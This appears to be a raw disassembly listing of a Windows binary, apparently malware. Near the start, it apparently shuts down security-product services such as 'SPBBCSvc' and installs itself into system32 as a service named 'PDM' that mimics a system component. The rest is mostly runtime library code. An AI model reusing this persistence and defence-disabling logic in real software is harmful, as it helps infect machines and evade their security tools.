sub_4032F0 add esp, 40h push offset aSpbbcsvc ; "SPBBCSvc" call sub_4032F0 pop ecx retn sub_4036D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403780 proc near ; CODE XREF: seg001:004037E0p ; seg001:0040388Cp push offset aWsas ; "wsas" call sub_4032F0 push offset aNlc ; "nlc" call sub_4032F0 push offset aNsms ; "nsms" call sub_4032F0 push offset aNtrcs ; "ntrcs" call sub_4032F0 push offset aVistaruntimesv ; "VistaRuntimeSvc" call sub_4032F0 push offset aPdm ; "PDM" call sub_4032F0 add esp, 18h retn sub_403780 endp ; --------------------------------------------------------------------------- push offset aWpdm_class_ ; "WPDM_Class_" push 1 push 0 call dword_40D070 ; CreateMutexA test eax, eax jz short locret_4037F4 call dword_40D050 ; RtlGetLastWin32Error cmp eax, 0B7h jz short locret_4037F4 call sub_403780 call sub_4036D0 call sub_402E60 jmp sub_402040 ; --------------------------------------------------------------------------- locret_4037F4: ; CODE XREF: seg001:004037D1j ; seg001:004037DEj retn ; --------------------------------------------------------------------------- align 10h loc_403800: ; DATA XREF: sub_4038C0+DDo push esi push 0 push offset loc_4036A0 push offset aPdm_0 ; "PDM" call dword_40D000 ; RegisterServiceCtrlHandlerExA mov esi, dword_40D004 push offset dword_411E80 push eax mov dword_411E9C, eax mov dword_411E94, 1 mov dword_411E88, 5 mov dword_411E84, 4 mov dword_411E90, 0 mov dword_411E80, 10h mov dword_411E98, 0 mov dword_411E8C, 0 call esi ; SetServiceStatus push offset aWpdm_class_ ; "WPDM_Class_" push 1 push 0 call dword_40D070 ; CreateMutexA test eax, eax jz short loc_4038A0 call dword_40D050 ; RtlGetLastWin32Error cmp eax, 0B7h jz short loc_4038A0 call sub_403780 call sub_4036D0 call sub_402E60 call sub_402040 ; --------------------------------------------------------------------------- loc_4038A0: ; CODE XREF: seg001:0040387Dj ; seg001:0040388Aj mov eax, dword_411E9C push offset dword_411E80 push eax mov dword_411E84, 1 call esi ; SetServiceStatus pop esi retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4038C0 proc near ; CODE XREF: seg001:00404D0Dp var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = byte ptr -310h var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = dword ptr -4 sub esp, 320h mov eax, dword_410440 xor eax, esp mov [esp+320h+var_4], eax push 2 call dword_40D074 ; SetErrorMode push 104h lea eax, [esp+324h+var_108] push eax push 0 call dword_40D0E0 ; GetModuleFileNameA push 104h lea ecx, [esp+324h+var_20C] push ecx call dword_40D060 ; GetWindowsDirectoryA lea edx, [esp+320h+var_20C] push edx push offset aSSystem32 ; "%s\\system32" lea eax, [esp+328h+var_310] push 104h push eax call sub_40481B lea ecx, [esp+330h+var_310] push ecx lea edx, [esp+334h+var_108] push edx call sub_404AB0 add esp, 18h test eax, eax jnz short loc_40394B lea eax, [esp+320h+var_310] push offset aPdm_exe ; "pdm.exe" push eax call sub_402F20 add esp, 8 loc_40394B: ; CODE XREF: sub_4038C0+77j push ebx push esi push edi push 0F003Fh xor edi, edi push edi push edi call dword_40D01C ; OpenSCManagerA mov ebx, dword_40D020 mov esi, eax test esi, esi jz short loc_403986 push 80000000h push offset aPdm_1 ; "PDM" push esi call dword_40D024 ; OpenServiceA test eax, eax jz short loc_403983 mov edi, 1 loc_403983: ; CODE XREF: sub_4038C0+BCj push eax call ebx ; CloseServiceHandle loc_403986: ; CODE XREF: sub_4038C0+A7j push esi call ebx ; CloseServiceHandle cmp edi, 1 pop edi pop esi pop ebx jnz short loc_4039C7 lea ecx, [esp+320h+var_320] push ecx mov [esp+324h+var_320], offset aPdm_3 ; "PDM" mov [esp+324h+var_31C], offset loc_403800 mov [esp+324h+var_318], 0 mov [esp+324h+var_314], 0 call dword_40D044 ; StartServiceCtrlDispatcherA push offset aPdm_4 ; "PDM" call sub_403450 jmp short loc_4039D1 ; --------------------------------------------------------------------------- loc_4039C7: ; CODE XREF: sub_4038C0+CFj push offset aPdm_5 ; "PDM" call sub_403540 loc_4039D1: ; CODE XREF: sub_4038C0+105j mov ecx, [esp+324h+var_4] add esp, 4 xor ecx, esp xor eax, eax call sub_403F45 add esp, 320h retn 10h sub_4038C0 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4039EE proc near ; CODE XREF: sub_403040+D8p jmp dword_40D0B8 sub_4039EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4039F4 proc near ; CODE XREF: sub_403040+49p jmp dword_40D0A8 sub_4039F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4039FA proc near ; CODE XREF: sub_403040+2Dp jmp dword_40D0A4 sub_4039FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A00 proc near ; CODE XREF: seg001:004010D9p ; sub_4014F0+69p ... jmp dword_40D210 sub_403A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A06 proc near ; CODE XREF: seg001:00401077p ; seg001:00401081p ... jmp dword_40D20C sub_403A06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A0C proc near ; CODE XREF: seg001:00401306p ; seg001:0040132Cp ... jmp dword_40D208 sub_403A0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A12 proc near ; CODE XREF: seg001:004012A3p ; sub_401840+BBp ... jmp dword_40D204 sub_403A12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A18 proc near ; CODE XREF: seg001:0040142Fp ; sub_401710+61p ... jmp dword_40D200 sub_403A18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A1E proc near ; CODE XREF: seg001:00401417p ; seg001:00401B5Cp ... jmp dword_40D1FC sub_403A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A24 proc near ; CODE XREF: seg001:004013FBp ; sub_4014F0+A4p ... jmp dword_40D1F8 sub_403A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A2A proc near ; CODE XREF: sub_401470+33p ; sub_401470+3Fp ... jmp dword_40D1F4 sub_403A2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A30 proc near ; CODE XREF: sub_401470+2Ap ; seg001:004016A7p jmp dword_40D1F0 sub_403A30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A36 proc near ; CODE XREF: sub_4014F0+BBp ; seg001:00401674p ... jmp dword_40D1EC sub_403A36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A3C proc near ; CODE XREF: sub_4014F0+2Cp ; seg001:004015E7p ... jmp dword_40D214 sub_403A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A42 proc near ; CODE XREF: sub_401710+7Cp jmp dword_40D1E8 sub_403A42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A48 proc near ; CODE XREF: sub_4017C0+3Bp jmp dword_40D1E4 sub_403A48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A4E proc near ; CODE XREF: sub_401840+D5p jmp dword_40D1E0 sub_403A4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A54 proc near ; CODE XREF: sub_401A10+26p jmp dword_40D1DC sub_403A54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A5A proc near ; CODE XREF: sub_401A80+19p ; seg001:00401E19p ... jmp dword_40D1D8 sub_403A5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A60 proc near ; CODE XREF: seg001:00401D36p ; sub_401E40+CBp jmp dword_40D1D4 sub_403A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A66 proc near ; CODE XREF: seg001:00401DC4p jmp dword_40D1D0 sub_403A66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A6C proc near ; CODE XREF: sub_402040+5Bp jmp dword_40D1CC sub_403A6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403A72 proc near ; CODE XREF: sub_403040+84p jmp dword_40D1C4 sub_403A72 endp ; =============== S U B R O U T I N E ======================================= sub_403A78 proc near ; CODE XREF: seg001:0040110Cp ; sub_402040+5AAp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jnz short loc_403A88 xor eax, eax jmp short loc_403AC5 ; --------------------------------------------------------------------------- loc_403A88: ; CODE XREF: sub_403A78+Aj push esi push edi push ebx call sub_404F20 mov esi, eax inc esi push esi call sub_403B17 mov edi, eax cmp edi, ebp pop ecx pop ecx jz short loc_403AC1 push ebx push esi push edi call sub_404EAF add esp, 0Ch test eax, eax jz short loc_403ABD push ebp push ebp push ebp push ebp push ebp call sub_404D8F add esp, 14h loc_403ABD: ; CODE XREF: sub_403A78+36j mov eax, edi jmp short loc_403AC3 ; --------------------------------------------------------------------------- loc_403AC1: ; CODE XREF: sub_403A78+27j xor eax, eax loc_403AC3: ; CODE XREF: sub_403A78+47j pop edi pop esi loc_403AC5: ; CODE XREF: sub_403A78+Ej pop ebp pop ebx retn sub_403A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403AC8 proc near ; CODE XREF: sub_403B17+59p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_40E4B0 call __SEH_prolog4 and [ebp+var_1C], 0 mov esi, [ebp+arg_0] cmp esi, dword_413B94 ja short loc_403B05 push 4 call sub_405121 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_40596E pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_403B0E loc_403B05: ; CODE XREF: sub_403AC8+19j mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_403AC8 endp ; =============== S U B R O U T I N E ======================================= sub_403B0E proc near ; CODE XREF: sub_403AC8+38p ; DATA XREF: seg001:0040E4C8o push 4 call sub_405049 pop ecx retn sub_403B0E endp ; =============== S U B R O U T I N E ======================================= sub_403B17 proc near ; CODE XREF: seg001:00401104p ; sub_401840+30p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] cmp ebp, 0FFFFFFE0h ja loc_403BC4 push ebx mov ebx, dword_40D0F8 push esi push edi loc_403B2E: ; CODE XREF: sub_403B17+94j xor esi, esi cmp dword_41157C, esi mov edi, ebp jnz short loc_403B52 call sub_405F02 push 1Eh call sub_405D62 push 0FFh call sub_404279 pop ecx pop ecx loc_403B52: ; CODE XREF: sub_403B17+21j mov eax, dword_413B88 cmp eax, 1 jnz short loc_403B6A cmp ebp, esi jz short loc_403B64 mov eax, ebp jmp short loc_403B67 ; --------------------------------------------------------------------------- loc_403B64: ; CODE XREF: sub_403B17+47j xor eax, eax inc eax loc_403B67: ; CODE XREF: sub_403B17+4Bj push eax jmp short loc_403B88 ; --------------------------------------------------------------------------- loc_403B6A: ; CODE XREF: sub_403B17+43j cmp eax, 3 jnz short loc_403B7A push ebp call sub_403AC8 cmp eax, esi pop ecx jnz short loc_403B91 loc_403B7A: ; CODE XREF: sub_403B17+56j cmp ebp, esi jnz short loc_403B81 xor edi, edi inc edi loc_403B81: ; CODE XREF: sub_403B17+65j add edi, 0Fh and edi, 0FFFFFFF0h push edi loc_403B88: ; CODE XREF: sub_403B17+51j push esi push dword_41157C call ebx ; RtlAllocateHeap loc_403B91: ; CODE XREF: sub_403B17+61j mov esi, eax test esi, esi jnz short loc_403BBD cmp dword_411898, eax push 0Ch pop edi jz short loc_403BAF push ebp call sub_405F45 test eax, eax pop ecx jnz short loc_403B2E jmp short loc_403BB6 ; --------------------------------------------------------------------------- loc_403BAF: ; CODE XREF: sub_403B17+89j call sub_403F8F mov [eax], edi loc_403BB6: ; CODE XREF: sub_403B17+96j call sub_403F8F mov [eax], edi loc_403BBD: ; CODE XREF: sub_403B17+7Ej pop edi mov eax, esi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_403BC4: ; CODE XREF: sub_403B17+8j push ebp call sub_405F45 pop ecx call sub_403F8F mov dword ptr [eax], 0Ch xor eax, eax pop ebp retn sub_403B17 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BE0 proc near ; CODE XREF: seg001:004010FDp ; sub_4014F0+91p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_403C00 cmp edi, eax jb loc_403DA4 loc_403C00: ; CODE XREF: sub_403BE0+16j cmp ecx, 100h jb short loc_403C27 cmp dword_413B84, 0 jz short loc_403C27 push edi push esi and edi, 0Fh and esi, 0Fh cmp edi, esi pop esi pop edi jnz short loc_403C27 pop esi pop edi pop ebp jmp sub_405FEE ; --------------------------------------------------------------------------- loc_403C27: ; CODE XREF: sub_403BE0+26j ; sub_403BE0+2Fj ... test edi, 3 jnz short loc_403C44 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_403C64 rep movsd jmp off_403D54[edx*4] ; --------------------------------------------------------------------------- align 4 loc_403C44: ; CODE XREF: sub_403BE0+4Dj mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_403C5C and eax, 3 add ecx, eax jmp dword ptr loc_403C64+4[eax*4] ; --------------------------------------------------------------------------- loc_403C5C: ; CODE XREF: sub_403BE0+6Ej jmp dword ptr loc_403D64[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_403C64: ; CODE XREF: sub_403BE0+58j ; sub_403BE0+B6j ... jmp off_403CE8[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_403C78 dd offset loc_403CA4 ; --------------------------------------------------------------------------- enter 403Ch, 0 loc_403C78: ; DATA XREF: sub_403BE0+8Co and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_403C64 rep movsd jmp off_403D54[edx*4] ; --------------------------------------------------------------------------- align 4 loc_403CA4: ; DATA XREF: sub_403BE0+90o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_403C64 rep movsd jmp off_403D54[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_403C64 rep movsd jmp off_403D54[edx*4] ; --------------------------------------------------------------------------- align 4 off_403CE8 dd offset loc_403D4B ; DATA XREF: sub_403BE0:loc_403C64r dd offset loc_403D38 dd offset loc_403D30 dd offset loc_403D28 dd offset loc_403D20 dd offset loc_403D18 dd offset loc_403D10 dd offset loc_403D08 ; --------------------------------------------------------------------------- loc_403D08: ; CODE XREF: sub_403BE0:loc_403C64j ; DATA XREF: sub_403BE0+124o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_403D10: ; CODE XREF: sub_403BE0:loc_403C64j ; DATA XREF: sub_403BE0+120o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_403D18: ; CODE XREF: sub_403BE0:loc_403C64j ; DATA XREF: sub_403BE0+11Co mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_403D20: ; CODE XREF: sub_403BE0:loc_403C64j ; DATA XREF: sub_403BE0+118o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_403D28: ; CODE XREF: sub_403BE0:loc_403C64j ; DATA XREF: sub_403BE0+114o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_403D30: ; CODE XREF: sub_403BE0:loc_403C64j ; DATA XREF: sub_403BE0+110o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_403D38: ; CODE XREF: sub_403BE0:loc_403C64j ; DATA XREF: sub_403BE0+10Co mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_403D4B: ; CODE XREF: sub_403BE0:loc_403C64j ; DATA XREF: sub_403BE0:off_403CE8o jmp off_403D54[edx*4] ; --------------------------------------------------------------------------- align 4 off_403D54 dd offset loc_403D64 ; DATA XREF: sub_403BE0+5Cr ; sub_403BE0+BAr ... dd offset loc_403D6C dd offset loc_403D78 dd offset loc_403D8C ; --------------------------------------------------------------------------- loc_403D64: ; CODE XREF: sub_403BE0+5Cj ; sub_403BE0+BAj ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403D6C: ; CODE XREF: sub_403BE0+5Cj ; sub_403BE0+BAj ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403D78: ; CODE XREF: sub_403BE0+5Cj ; sub_403BE0+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403D8C: ; CODE XREF: sub_403BE0+5Cj ; sub_403BE0+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403DA4: ; CODE XREF: sub_403BE0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_403DD8 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_403DCC std rep movsd cld jmp off_403EF0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_403DCC: ; CODE XREF: sub_403BE0+1DDj ; sub_403BE0+238j ... neg ecx jmp off_403EA0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_403DD8: ; CODE XREF: sub_403BE0+1D2j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_403DF0 and eax, 3 sub ecx, eax jmp dword ptr loc_403DF0+4[eax*4] ; --------------------------------------------------------------------------- loc_403DF0: ; CODE XREF: sub_403BE0+202j ; DATA XREF: sub_403BE0+209r jmp off_403EF0[ecx*4] ; --------------------------------------------------------------------------- align 4 add al, 3Eh inc eax add [eax], ch db 3Eh inc eax add [eax+3Eh], dl inc eax add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_403DCC std rep movsd cld jmp off_403EF0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_403DCC std rep movsd cld jmp off_403EF0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_403DCC std rep movsd cld jmp off_403EF0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_403EA4 dd offset loc_403EAC dd offset loc_403EB4 dd offset loc_403EBC dd offset loc_403EC4 dd offset loc_403ECC dd offset loc_403ED4 off_403EA0 dd offset loc_403EE7 ; DATA XREF: sub_403BE0+1EEr ; --------------------------------------------------------------------------- loc_403EA4: ; DATA XREF: sub_403BE0+2A4o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_403EAC: ; DATA XREF: sub_403BE0+2A8o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_403EB4: ; DATA XREF: sub_403BE0+2ACo mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_403EBC: ; DATA XREF: sub_403BE0+2B0o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_403EC4: ; DATA XREF: sub_403BE0+2B4o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_403ECC: ; DATA XREF: sub_403BE0+2B8o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_403ED4: ; DATA XREF: sub_403BE0+2BCo mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_403EE7: ; CODE XREF: sub_403BE0+1EEj ; DATA XREF: sub_403BE0:off_403EA0o jmp off_403EF0[edx*4] ; --------------------------------------------------------------------------- align 10h off_403EF0 dd offset loc_403F00 ; DATA XREF: sub_403BE0+1E3r ; sub_403BE0:loc_403DF0r ... dd offset loc_403F08 dd offset loc_403F18 dd offset loc_403F2C ; --------------------------------------------------------------------------- loc_403F00: ; CODE XREF: sub_403BE0+1E3j ; sub_403BE0:loc_403DF0j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403F08: ; CODE XREF: sub_403BE0+1E3j ; sub_403BE0:loc_403DF0j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403F18: ; CODE XREF: sub_403BE0+1E3j ; sub_403BE0:loc_403DF0j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403F2C: ; CODE XREF: sub_403BE0+1E3j ; sub_403BE0:loc_403DF0j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_403BE0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_403F45 proc near ; CODE XREF: seg001:004013B9p ; seg001:004013D7p ... cmp ecx, dword_410440 jnz short loc_403F4F rep retn ; --------------------------------------------------------------------------- loc_403F4F: ; CODE XREF: sub_403F45+6j jmp sub_4060E5 sub_403F45 endp ; =============== S U B R O U T I N E ======================================= sub_403F54 proc near ; CODE XREF: sub_403FB5+Dp ; sub_40405A+80p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_403F5A: ; CODE XREF: sub_403F54+13j cmp eax, dword_410448[ecx*8] jz short loc_403F75 inc ecx cmp ecx, 2Dh jb short loc_403F5A lea ecx, [eax-13h] cmp ecx, 11h ja short loc_403F7D push 0Dh pop eax retn ; --------------------------------------------------------------------------- loc_403F75: ; CODE XREF: sub_403F54+Dj mov eax, dword_41044C[ecx*8] retn ; --------------------------------------------------------------------------- loc_403F7D: ; CODE XREF: sub_403F54+1Bj add eax, 0FFFFFF44h push 0Eh pop ecx cmp ecx, eax sbb eax, eax and eax, ecx add eax, 8 retn sub_403F54 endp ; =============== S U B R O U T I N E ======================================= sub_403F8F proc near ; CODE XREF: sub_401470+15p ; sub_401840+C7p ... call sub_406471 test eax, eax jnz short loc_403F9E mov eax, offset dword_4105B0 retn ; --------------------------------------------------------------------------- loc_403F9E: ; CODE XREF: sub_403F8F+7j add eax, 8 retn sub_403F8F endp ; =============== S U B R O U T I N E ======================================= sub_403FA2 proc near ; CODE XREF: sub_403FB5+1p ; sub_409CCB+1Dp ... call sub_406471 test eax, eax jnz short loc_403FB1 mov eax, offset dword_4105B4 retn ; --------------------------------------------------------------------------- loc_403FB1: ; CODE XREF: sub_403FA2+7j add eax, 0Ch retn sub_403FA2 endp ; =============== S U B R O U T I N E ======================================= sub_403FB5 proc near ; CODE XREF: sub_409C48+58p ; sub_409DE4+577p ... arg_0 = dword ptr 4 push esi call sub_403FA2 mov ecx, [esp+4+arg_0] push ecx mov [eax], ecx call sub_403F54 pop ecx mov esi, eax call sub_403F8F mov [eax], esi pop esi retn sub_403FB5 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403FE0 proc near ; CODE XREF: sub_4017C0+4Bp ; sub_401960+35p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_404055 xor eax, eax mov al, [esp+arg_4] test al, al jnz short loc_40400C cmp edx, 100h jb short loc_40400C cmp dword_413B84, 0 jz short loc_40400C jmp sub_406835 ; --------------------------------------------------------------------------- loc_40400C: ; CODE XREF: sub_403FE0+14j ; sub_403FE0+1Cj ... push edi mov edi, ecx cmp edx, 4 jb short loc_404045 neg ecx and ecx, 3 jz short loc_404027 sub edx, ecx loc_40401D: ; CODE XREF: sub_403FE0+45j mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_40401D loc_404027: ; CODE XREF: sub_403FE0+39j mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_404045 rep stosd test edx, edx jz short loc_40404F loc_404045: ; CODE XREF: sub_403FE0+32j ; sub_403FE0+5Dj ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_404045 loc_40404F: ; CODE XREF: sub_403FE0+63j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_404055: ; CODE XREF: sub_403FE0+Aj mov eax, [esp+arg_0] retn sub_403FE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40405A proc near ; CODE XREF: sub_401840+76p ; sub_401840+E5p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004040B9 SIZE 0000002F BYTES push 0Ch push offset dword_40E4D0 call __SEH_prolog4 mov esi, [ebp+arg_0] test esi, esi jz short loc_4040E2 cmp dword_413B88, 3 jnz short loc_4040B9 push 4 call sub_405121 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_40519A pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_404099 push esi push eax call sub_4051C5 pop ecx pop ecx loc_404099: ; CODE XREF: sub_40405A+34j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_4040B0 cmp [ebp+var_1C], 0 jnz short loc_4040E2 push [ebp+arg_0] jmp short loc_4040BA sub_40405A endp ; =============== S U B R O U T I N E ======================================= sub_4040B0 proc near ; CODE XREF: sub_40405A+46p ; DATA XREF: seg001:0040E4E8o push 4 call sub_405049 pop ecx retn sub_4040B0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40405A loc_4040B9: ; CODE XREF: sub_40405A+1Aj push esi loc_4040BA: ; CODE XREF: sub_40405A+54j push 0 push dword_41157C call dword_40D0FC ; RtlFreeHeap test eax, eax jnz short loc_4040E2 call sub_403F8F mov esi, eax call dword_40D050 ; RtlGetLastWin32Error push eax call sub_403F54 mov [esi], eax pop ecx loc_4040E2: ; CODE XREF: sub_40405A+11j ; sub_40405A+4Fj ... call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40405A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_404199+12p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_404116 call sub_403F8F push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh jmp loc_404196 ; --------------------------------------------------------------------------- loc_404116: ; CODE XREF: sub_4040E8+Cj mov ecx, [ebp+arg_4] cmp ecx, ebx push esi mov esi, [ebp+arg_0] jz short loc_404142 cmp esi, ebx jnz short loc_404142 call sub_403F8F push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh jmp short loc_404195 ; --------------------------------------------------------------------------- loc_404142: ; CODE XREF: sub_4040E8+37j ; sub_4040E8+3Bj mov eax, 7FFFFFFFh cmp ecx, eax mov [ebp+var_1C], eax ja short loc_404151 mov [ebp+var_1C], ecx loc_404151: ; CODE XREF: sub_4040E8+64j push edi push [ebp+arg_10] lea eax, [ebp+var_20] push [ebp+arg_C] mov [ebp+var_14], 42h push [ebp+arg_8] mov [ebp+var_18], esi push eax mov [ebp+var_20], esi call sub_406AC5 add esp, 10h cmp esi, ebx mov edi, eax jz short loc_404194 dec [ebp+var_1C] js short loc_404186 mov eax, [ebp+var_20] mov [eax], bl jmp short loc_404192 ; --------------------------------------------------------------------------- loc_404186: ; CODE XREF: sub_4040E8+95j lea eax, [ebp+var_20] push eax push ebx call sub_4068C4 pop ecx pop ecx loc_404192: ; CODE XREF: sub_4040E8+9Cj mov eax, edi loc_404194: ; CODE XREF: sub_4040E8+90j pop edi loc_404195: ; CODE XREF: sub_4040E8+58j pop esi loc_404196: ; CODE XREF: sub_4040E8+29j pop ebx leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= sub_404199 proc near ; CODE XREF: sub_401960+49p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push 0 push 